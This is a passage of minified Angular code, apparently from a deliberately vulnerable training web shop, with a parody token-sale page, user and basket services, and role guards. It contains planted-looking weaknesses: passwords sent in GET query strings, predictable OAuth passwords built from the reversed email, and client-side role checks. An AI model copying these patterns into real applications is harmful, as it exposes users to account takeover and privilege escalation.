noreferrer"],[1,"fas","fa-graduation-cap","fa-lg"],[1,"offer-box"],[1,"text-justify"],[1,"fab","fa-bitcoin"],[1,"badge"],["fxFlexAlign.lt-md","center",1,"faq-container"],["translate","",1,"title"],[1,"fas","fa-comments","fa-2x"],[1,"far","fa-comment-alt","fa-2x"],[1,"far","fa-comments","fa-2x"],[1,"fas","fa-comment-alt","fa-2x"],[2,"margin-left","10px",3,"innerHtml"],["translate","",1,"text-justify"],["src","assets/public/images/padding/56px.png"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card")(1,"div",0)(2,"div",1)(3,"mat-card-header")(4,"mat-card-title"),t._uU(5),t.ALo(6,"translate"),t.qZA(),t._UZ(7,"mat-card-subtitle",2),t.ALo(8,"translate"),t.qZA(),t._UZ(9,"div",3),t.TgZ(10,"mat-card",4)(11,"h4"),t._uU(12),t.ALo(13,"translate"),t.TgZ(14,"small",5),t._uU(15,"("),t.TgZ(16,"span",6),t._uU(17,"WHITEPAPER_REFERENCES"),t.qZA(),t._uU(18,")"),t.qZA()(),t.TgZ(19,"div",7)(20,"a",8)(21,"button",9),t._UZ(22,"i",10),t._uU(23," PonzICO Whitepaper"),t.qZA()(),t.TgZ(24,"a",11)(25,"button",9),t._UZ(26,"i",12),t._uU(27," PonziCoin Whitepaper"),t.qZA()()()(),t.TgZ(28,"div",13)(29,"h3",6),t._uU(30,"SECTION_SALES_PITCH"),t.qZA(),t.TgZ(31,"p",14),t._uU(32," Lorem ipsum dolor sit amet "),t.TgZ(33,"strong"),t._UZ(34,"i",15),t._uU(35),t.qZA(),t._uU(36,", consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.TgZ(37,"span",6),t._uU(38,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(39," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(40,"span",6),t._uU(41,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(42," Ut wisi enim ad minim veniam, quis "),t.TgZ(43,"strong"),t._UZ(44,"i",15),t._uU(45),t.qZA(),t._uU(46," nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. "),t.TgZ(47,"span",6),t._uU(48,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(49," Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. "),t.TgZ(50,"span",6),t._uU(51,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(52," Duis autem vel eum "),t.TgZ(53,"strong"),t._UZ(54,"i",15),t._uU(55),t.qZA(),t._uU(56," iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.TgZ(57,"span",6),t._uU(58,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(59," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. "),t.TgZ(60,"span",16),t._UZ(61,"i",15),t._uU(62),t.qZA(),t._uU(63," est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur. "),t.qZA()()(),t.TgZ(64,"div",17)(65,"mat-card-header")(66,"mat-card-title",18),t._uU(67,"ICO_FAQ"),t.qZA()(),t._UZ(68,"div",3),t.TgZ(69,"mat-card",4)(70,"h5"),t._UZ(71,"i",19),t._uU(72," Stet "),t.TgZ(73,"strong"),t._UZ(74,"i",15),t._uU(75),t.qZA(),t._uU(76," clita kasd gubergren?"),t.qZA(),t.TgZ(77,"small",14),t._uU(78," Stet clita kasd gubergren, no "),t.TgZ(79,"strong"),t._UZ(80,"i",15),t._uU(81),t.qZA(),t._uU(82," sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()(),t.TgZ(83,"mat-card",4)(84,"h5"),t._UZ(85,"i",20),t._uU(86," Consetetur sadipscing elitr?"),t.qZA(),t.TgZ(87,"small",14),t._uU(88," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed "),t.TgZ(89,"strong"),t._UZ(90,"i",15),t._uU(91),t.qZA(),t._uU(92," diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()(),t.TgZ(93,"mat-card",4)(94,"h5"),t._UZ(95,"i",21),t._uU(96," Hendrerit "),t.TgZ(97,"strong"),t._UZ(98,"i",15),t._uU(99),t.qZA(),t._uU(100," in vulputate velit?"),t.qZA(),t.TgZ(101,"small",14),t._uU(102," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.qZA()(),t.TgZ(103,"mat-card",4)(104,"h5"),t._UZ(105,"i",22),t._uU(106," Justo duo dolores et ea rebum?"),t.qZA(),t.TgZ(107,"small",14),t._uU(108," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.qZA()(),t.TgZ(109,"mat-card",4)(110,"h5"),t._UZ(111,"i",19)(112,"span",23),t.ALo(113,"translate"),t.qZA(),t.TgZ(114,"small",24),t._uU(115,"ICO_FAQ_ANSWER"),t.qZA()()(),t._UZ(116,"img",25),t.qZA()()),2&e&&(t.xp6(5),t.hij(" ",t.lcZ(6,12,"TITLE_TOKENSALE")," "),t.xp6(2),t.Q6J("innerHtml",t.xi3(8,14,"SECTION_ICO",t.VKq(22,lt,o.altcoinName)),t.oJD),t.xp6(5),t.hij("",t.lcZ(13,17,"SECTION_WHITEPAPER")," "),t.xp6(23),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(7),t.hij(" ",o.altcoinName,""),t.xp6(13),t.hij(" ",o.altcoinName,""),t.xp6(6),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(8),t.hij(" ",o.altcoinName,""),t.xp6(13),t.Q6J("innerHtml",t.xi3(113,19,"ICO_FAQ_QUESTION",t.VKq(24,lt,o.altcoinName)),t.oJD))},dependencies:[u.Pi,p.xw,p.SQ,p.XD,x.lW,T.a8,T.dk,T.n5,T.$j,u.X$],styles:[".container[_ngcontent-%COMP%]{justify-content:center}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;margin-bottom:10px;padding:12px 20px}.whitepaper-container.offer-container[_ngcontent-%COMP%]{max-width:700px;min-width:300px;width:70%}.whitepaper-buttons[_ngcontent-%COMP%]{display:flex;flex-direction:row;flex-wrap:wrap;gap:8px}.faq-container[_ngcontent-%COMP%]{max-width:500px;min-width:200px;width:70%}a[_ngcontent-%COMP%]:nth-child(1){padding-right:10px}.title[_ngcontent-%COMP%]{padding-bottom:27px}.divider[_ngcontent-%COMP%]{border:.5px solid #f2f2f2;margin-bottom:10px}.text-justify[_ngcontent-%COMP%]{text-align:justify}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}mat-card[_ngcontent-%COMP%]:nth-child(1){border-radius:5px;margin:0 auto;width:80%}"]}),n})();var P=c(2340),C=c(4850),_=c(7221),kt=c(8929);let R=(()=>{class n{constructor(e){this.http=e,this.isLoggedIn=new kt.xQ,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Users"}find(e){return this.http.get(this.hostServer+"/rest/user/authentication-details/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}login(e){return this.isLoggedIn.next(!0),this.http.post(this.hostServer+"/rest/user/login",e).pipe((0,C.U)(o=>o.authentication),(0,_.K)(o=>{throw o}))}getLoggedInState(){return this.isLoggedIn.asObservable()}changePassword(e){return this.http.get(this.hostServer+"/rest/user/change-password?current="+e.current+"&new="+e.new+"&repeat="+e.repeat).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o.error}))}resetPassword(e){return this.http.post(this.hostServer+"/rest/user/reset-password",e).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o}))}whoAmI(){return this.http.get(this.hostServer+"/rest/user/whoami").pipe((0,C.U)(e=>e.user),(0,_.K)(e=>{throw e}))}oauthLogin(e){return this.http.get("https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token="+e)}saveLastLoginIp(){return this.http.get(this.hostServer+"/rest/saveLoginIp").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}deluxeStatus(){return this.http.get(this.hostServer+"/rest/deluxe-membership").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}upgradeToDeluxe(e,o){return this.http.post(this.hostServer+"/rest/deluxe-membership",{paymentMode:e,paymentId:o}).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var U=c(6630);let Bt=(()=>{class n{constructor(e,o,i,r,l){this.cookieService=e,this.userService=o,this.router=i,this.route=r,this.ngZone=l}ngOnInit(){var e=this;this.userService.oauthLogin(this.parseRedirectUrlParams().access_token).subscribe(o=>{const i=btoa(o.email.split("").reverse().join(""));this.userService.save({email:o.email,password:i,passwordRepeat:i}).subscribe(()=>{this.login(o)},()=>{this.login(o)})},o=>{this.invalidateSession(o),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])}))})}login(e){var o=this;this.userService.login({email:e.email,password:btoa(e.email.split("").reverse().join("")),oauth:!0}).subscribe(i=>{const r=new Date;r.setHours(r.getHours()+8),this.cookieService.put("token",i.token,{expires:r}),localStorage.setItem("token",i.token),sessionStorage.setItem("bid",i.bid),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/"])}))},i=>{this.invalidateSession(i),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/login"])}))})}invalidateSession(e){console.log(e),this.cookieService.remove("token"),localStorage.removeItem("token"),sessionStorage.removeItem("bid")}parseRedirectUrlParams(){const o=this.route.snapshot.data.params.substr(1).split("&"),i={};for(let r=0;r<o.length;r++){const l=o[r].split("=");i[l[0]]=l[1]}return i}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(R),t.Y36(U.F0),t.Y36(U.gz),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-oauth"]],decls:9,vars:6,consts:[["fxLayoutAlign","center"],[1,"primary-notification"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"div")(3,"h3"),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div"),t._uU(7),t.ALo(8,"translate"),t.qZA()()()()),2&e&&(t.xp6(4),t.Oqu(t.lcZ(5,2,"TITLE_LOGIN")),t.xp6(3),t.Oqu(t.lcZ(8,4,"CONFIRM_LOGGED_IN_VIA_OAUTH2")))},dependencies:[p.Wh,T.a8,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:300px;width:35%}"]}),n})(),X=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.itemTotal=new kt.xQ,this.host=this.hostServer+"/api/BasketItems"}find(e){return this.http.get(`${this.hostServer}/rest/basket/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}checkout(e,o,i){return this.http.post(`${this.hostServer}/rest/basket/${e}/checkout`,{couponData:o,orderDetails:i}).pipe((0,C.U)(r=>r.orderConfirmation),(0,_.K)(r=>{throw r}))}applyCoupon(e,o){return this.http.put(`${this.hostServer}/rest/basket/${e}/coupon/${o}`,{}).pipe((0,C.U)(i=>i.discount),(0,_.K)(i=>{throw i}))}updateNumberOfCartItems(){this.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.itemTotal.next(e.Products.reduce((o,i)=>o+i.BasketItem.quantity,0))},e=>{console.log(e)})}getItemTotal(){return this.itemTotal.asObservable()}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var It=c(491);let W=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o}canActivate(){return!!localStorage.getItem("token")||(this.forbidRoute("UNAUTHORIZED_ACCESS_ERROR"),!1)}forbidRoute(e="UNAUTHORIZED_PAGE_ACCESS_ERROR"){var o=this;this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["403"],{skipLocationChange:!0,queryParams:{error:e}})}))}tokenDecode(){let e=null;const o=localStorage.getItem("token");if(o)try{e=It(o)}catch(i){console.log(i)}return e}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(U.F0),t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ot=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"admin"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ut=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"accounting"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),ht=(()=>{class n{constructor(e){this.loginGuard=e}isDeluxe(){const e=this.loginGuard.tokenDecode();return e?.data&&"deluxe"===e.data.role}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})();var J=c(5004),h=c(6895),$=c(1600),d=c(671);function Rt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function _t(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._UZ(1,"img",21),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH)}}function Yt(n,a){1&n&&t._UZ(0,"mat-footer-cell",20)}function Jt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function ft(n,a){if(1&n&&(t.TgZ(0,"mat-cell",22),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name," ")}}function y(n,a){1&n&&t._UZ(0,"mat-footer-cell",23)}function S(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function M(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.dec(i.BasketItem.id))}),t._UZ(1,"i",28),t.qZA()}}function E(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.inc(i.BasketItem.id))}),t._UZ(1,"i",29),t.qZA()}}function j(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24),t.YNc(1,M,2,0,"button",25),t.TgZ(2,"span",26),t._uU(3),t.qZA(),t.YNc(4,E,2,0,"button",25),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.allowEdit),t.xp6(2),t.hij(" ",e.BasketItem.quantity,""),t.xp6(1),t.Q6J("ngIf",o.allowEdit)}}function et(n,a){1&n&&(t.TgZ(0,"mat-footer-cell",30),t._uU(1,"TOTAL"),t.qZA())}function G(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function it(n,a){if(1&n&&(t.TgZ(0,"mat-cell",31),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function an(n,a){1&n&&t._UZ(0,"mat-footer-cell",32)}function rn(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function sn(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",36)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.delete(r.BasketItem.id))}),t._UZ(2,"i",37),t.qZA()()}}function ln(n,a){1&n&&t._UZ(0,"mat-footer-cell",36)}function cn(n,a){1&n&&(t.ynx(0,33),t.YNc(1,rn,1,0,"mat-header-cell",2),t.YNc(2,sn,3,0,"mat-cell",34),t.YNc(3,ln,1,0,"mat-footer-cell",35),t.BQk())}function un(n,a){1&n&&t._UZ(0,"mat-header-row")}function pn(n,a){1&n&&t._UZ(0,"mat-row")}function dn(n,a){1&n&&t._UZ(0,"mat-footer-row",39)}function mn(n,a){if(1&n&&(t.TgZ(0,"span"),t.YNc(1,dn,1,0,"mat-footer-row",38),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("matFooterRowDef",e.tableColumns)}}function gn(n,a){if(1&n&&(t.TgZ(0,"div",40),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.AsE("",t.lcZ(2,2,"LABEL_TOTAL_PRICE"),": ",e.itemTotal,"\\xa4")}}O.vI.add(D.I7,g.El_,g.CPW);let _e=(()=>{class n{constructor(e,o,i,r){this.deluxeGuard=e,this.basketService=o,this.userService=i,this.snackBarHelperService=r,this.allowEdit=!1,this.displayTotal=!1,this.totalPrice=!0,this.emitTotal=new t.vpe,this.emitProductCount=new t.vpe,this.tableColumns=["image","product","quantity","price"],this.dataSource=[],this.bonus=0,this.itemTotal=0}ngOnInit(){this.allowEdit&&!this.tableColumns.includes("remove")&&this.tableColumns.push("remove"),this.load(),this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email||"anonymous",this.userEmail="("+this.userEmail+")"},e=>{console.log(e)})}load(){this.basketService.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.isDeluxe()&&e.Products.forEach(o=>{o.price=o.deluxePrice}),this.dataSource=e.Products,this.itemTotal=e.Products.reduce((o,i)=>o+i.price*i.BasketItem.quantity,0),this.bonus=e.Products.reduce((o,i)=>o+Math.round(i.price/10)*i.BasketItem.quantity,0),this.sendToParent(this.dataSource.length)},e=>{console.log(e)})}delete(e){this.basketService.del(e).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},o=>{console.log(o)})}inc(e){this.addToQuantity(e,1)}dec(e){this.addToQuantity(e,-1)}addToQuantity(e,o){this.basketService.get(e).subscribe(i=>{const r=i.quantity+o;this.basketService.put(e,{quantity:r<1?1:r}).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},i=>{console.log(i)})}sendToParent(e){this.emitTotal.emit([this.itemTotal,this.bonus]),this.emitProductCount.emit(e)}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(X),t.Y36(R),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-purchase-basket"]],inputs:{allowEdit:"allowEdit",displayTotal:"displayTotal",totalPrice:"totalPrice"},outputs:{emitTotal:"emitTotal",emitProductCount:"emitProductCount"},decls:27,vars:10,consts:[[3,"dataSource"],["matColumnDef","image"],["style","display: none;",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matFooterCellDef"],["matColumnDef","product"],["fxFlex","35%","fxFlex.lt-md","30%","style","font-size: initial;",4,"matCellDef"],["fxFlex","35%","fxFlex.lt-md","30%",4,"matFooterCellDef"],["matColumnDef","quantity"],["fxFlex","16%","fxFlex.lt-md","35%","class","content-align",4,"matCellDef"],["fxFlex","16%","fxFlex.lt-md","35%","class","header-align",4,"matFooterCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","fxFlex","16%","style","font-size: initial;",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","16%",4,"matFooterCellDef"],["matColumnDef","remove",4,"ngIf"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[4,"ngIf"],["id","price",4,"ngIf"],[2,"display","none"],["fxShow","","fxHide.lt-md","","fxFlex","20%",1,"content-align"],[1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlex","35%","fxFlex.lt-md","30%",2,"font-size","initial"],["fxFlex","35%","fxFlex.lt-md","30%"],["fxFlex","16%","fxFlex.lt-md","35%",1,"content-align"],["mat-icon-button","",3,"click",4,"ngIf"],[2,"font-size","initial"],["mat-icon-button","",3,"click"],[1,"fas","fa-minus-square"],[1,"fas","fa-plus-square"],["fxFlex","16%","fxFlex.lt-md","35%",1,"header-align"],["fxShow","","fxHide.lt-md","","fxFlex","16%",2,"font-size","initial"],["fxShow","","fxHide.lt-md","","fxFlex","16%"],["matColumnDef","remove"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matCellDef"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matFooterCellDef"],["fxFlex","10%","fxFlex.lt-md","15%"],[1,"far","fa-trash-alt"],["mat-footer-row","",4,"matFooterRowDef"],["mat-footer-row",""],["id","price"]],template:function(e,o){1&e&&(t.TgZ(0,"h1"),t._uU(1),t.ALo(2,"translate"),t.TgZ(3,"small"),t._uU(4),t.qZA()(),t.TgZ(5,"mat-table",0),t.ynx(6,1),t.YNc(7,Rt,1,0,"mat-header-cell",2),t.YNc(8,_t,2,2,"mat-cell",3),t.YNc(9,Yt,1,0,"mat-footer-cell",4),t.BQk(),t.ynx(10,5),t.YNc(11,Jt,1,0,"mat-header-cell",2),t.YNc(12,ft,2,1,"mat-cell",6),t.YNc(13,y,1,0,"mat-footer-cell",7),t.BQk(),t.ynx(14,8),t.YNc(15,S,1,0,"mat-header-cell",2),t.YNc(16,j,5,3,"mat-cell",9),t.YNc(17,et,2,0,"mat-footer-cell",10),t.BQk(),t.ynx(18,11),t.YNc(19,G,1,0,"mat-header-cell",2),t.YNc(20,it,2,1,"mat-cell",12),t.YNc(21,an,1,0,"mat-footer-cell",13),t.BQk(),t.YNc(22,cn,4,0,"ng-container",14),t.YNc(23,un,1,0,"mat-header-row",15),t.YNc(24,pn,1,0,"mat-row",16),t.YNc(25,mn,2,1,"span",17),t.qZA(),t.YNc(26,gn,3,4,"div",18)),2&e&&(t.xp6(1),t.hij(" ",t.lcZ(2,8,"TITLE_BASKET")," "),t.xp6(3),t.Oqu(o.userEmail),t.xp6(1),t.Q6J("dataSource",o.dataSource),t.xp6(17),t.Q6J("ngIf",o.allowEdit),t.xp6(1),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns),t.xp6(1),t.Q6J("ngIf",o.displayTotal),t.xp6(1),t.Q6J("ngIf",o.totalPrice))},dependencies:[h.O5,p.yH,$.b8,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.mD,d.Ke,d.ge,d.ev,d.yh,d.XQ,d.Gk,d.Q2,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{height:auto;width:90px}mat-cell[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px;padding-left:10px;padding-right:10px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}mat-footer-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.mat-footer-cell[_ngcontent-%COMP%]{font-weight:700}.content-align[_ngcontent-%COMP%]{display:flex;justify-content:center}#price[_ngcontent-%COMP%]{font-size:large;margin-top:30px;text-align:right;width:100%}"]}),n})();const hn=function(n){return{bonus:n}};O.vI.add(g.bMA);let _n=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o,this.productCount=0,this.bonus=0}checkout(){var e=this;this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/address/select"])}))}getProductCount(e){this.productCount=e}getBonusPoints(e){sessionStorage.setItem("itemTotal",e[0]),this.bonus=e[1]}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-basket"]],decls:8,vars:8,consts:[[1,"mat-elevation-z6"],[3,"allowEdit","emitTotal","emitProductCount"],["id","checkoutButton","color","primary","mat-raised-button","",1,"checkout-button",3,"disabled","click"],[1,"fas","fa-cart-arrow-down"],["translate","",1,"hint",3,"translateParams"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"app-purchase-basket",1),t.NdJ("emitTotal",function(r){return o.getBonusPoints(r)})("emitProductCount",function(r){return o.getProductCount(r)}),t.qZA(),t.TgZ(2,"button",2),t.NdJ("click",function(){return o.checkout()}),t._UZ(3,"i",3),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div",4),t._uU(7,"CHECKOUT_FOR_BONUS_POINTS"),t.qZA()()),2&e&&(t.xp6(1),t.Q6J("allowEdit",!0),t.xp6(1),t.Q6J("disabled",o.productCount<1),t.xp6(2),t.hij(" ",t.lcZ(5,4,"BTN_CHECKOUT")," "),t.xp6(2),t.Q6J("translateParams",t.VKq(6,hn,o.bonus)))},dependencies:[u.Pi,x.lW,T.a8,_e,u.X$],styles:[".container[_ngcontent-%COMP%]{min-width:420px;width:40%}mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;padding:12px 20px}.mat-row[_ngcontent-%COMP%]{padding-bottom:10px}.mat-column-description[_ngcontent-%COMP%], .mat-column-bonus[_ngcontent-%COMP%], .mat-column-price[_ngcontent-%COMP%]{margin-left:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{width:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{width:22px}mat-form-field[_ngcontent-%COMP%]{margin-top:15px;width:100%}mat-expansion-panel[_ngcontent-%COMP%]{margin-bottom:20px}#checkoutButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.hint[_ngcontent-%COMP%]{display:flex;font-size:13px;justify-content:center;margin-top:5px}.payment-label[_ngcontent-%COMP%]{padding-top:10px}"]}),n})(),Qt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/track-order"}find(e){return e=encodeURIComponent(e),this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return 